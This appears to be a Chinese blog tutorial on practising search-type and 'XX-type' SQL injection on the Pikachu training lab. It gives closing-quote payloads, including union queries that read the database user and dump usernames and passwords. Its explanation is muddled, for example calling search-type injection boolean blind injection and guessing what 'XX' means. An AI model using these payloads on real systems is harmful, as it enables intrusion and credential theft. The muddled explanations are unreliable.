"Pikachu"通常是指一个安全漏洞学习平台,它模拟了各种Web应用中的安全漏洞,以便于学习者实践和了解这些漏洞的工作原理。在这个平台上,你可以找到不同类型的SQL注入漏洞来练习和学习如何利用与防御它们。
搜索型注入(也称为盲注或基于布尔的注入)
搜索型注入通常指的是攻击者通过观察页面返回的不同结果来判断SQL查询的真假,进而逐步构建完整的查询语句的一种技术。这种注入类型不依赖于错误消息或直接的数据反馈,而是根据服务器的行为变化来推断数据。
特点:
- 无直接输出: 不像报错型注入那样可以直接获取数据库错误信息,搜索型注入需要攻击者进行多次尝试来确定正确的查询条件。
- 布尔反馈: 通常会根据查询的结果是否为真来改变网页的显示行为,比如返回不同的内容或者跳转到不同的页面。
利用方法:
- 使用
AND
、OR
等逻辑操作符来测试不同的条件。 - 逐个字符地猜解数据,例如使用ASCII码来逐位检索字符串。
XX型注入
这里提到的“XX型注入”可能是指“XSS(跨站脚本)注入”或者是某种特定的SQL注入类型。由于上下文信息不足,我们假设这里指的是SQL注入的一种变体。
如果是指SQL注入:
- 这里可能是指特定情境下的SQL注入,例如基于时间延迟的注入、基于错误的注入等。不过,通常情况下,“XX型注入”这样的表述不够明确,需要更具体的上下文信息才能给出准确解释。
如果是指XSS注入:
- XSS注入是一种让攻击者能在受害者的浏览器中执行恶意脚本的安全漏洞。
-
特点:
- 攻击者可以注入恶意脚本到Web页面中。
- 受害者在浏览该页面时会被执行恶意脚本。
-
类型:
- 存储型XSS: 恶意脚本被持久化存储在服务器上,并在每次用户访问相关页面时被加载执行。
- 反射型XSS: 恶意脚本是通过URL参数传入的,并在用户访问时被立即执行。
- DOM-based XSS: 利用DOM操作的漏洞来修改页面内容并执行恶意脚本。
下面我们开始操作练习下:
搜索型注入:
MySQL查询语句:
select username,id,email from member where username like '%$name%'
我们构造一个闭合查询语句:
x' or 1=1#
这样就知道这里是存在sql注入漏洞的
XX型注入:
MySQL查询语句:
select id,email from member where username=('$name')
我们继续构造一个sql注入语句
x') or 1=1#
然后尝试运行一下
也是存在sql注入漏洞。
接下来我们尝试获取当前的数据库用户名
x') union select database(),user()#
也是成功获取到当前的数据库用户名信息
接下来我们直接获取后台信息
x') union select username,password from users#
原文链接: 搜索型和XX型注入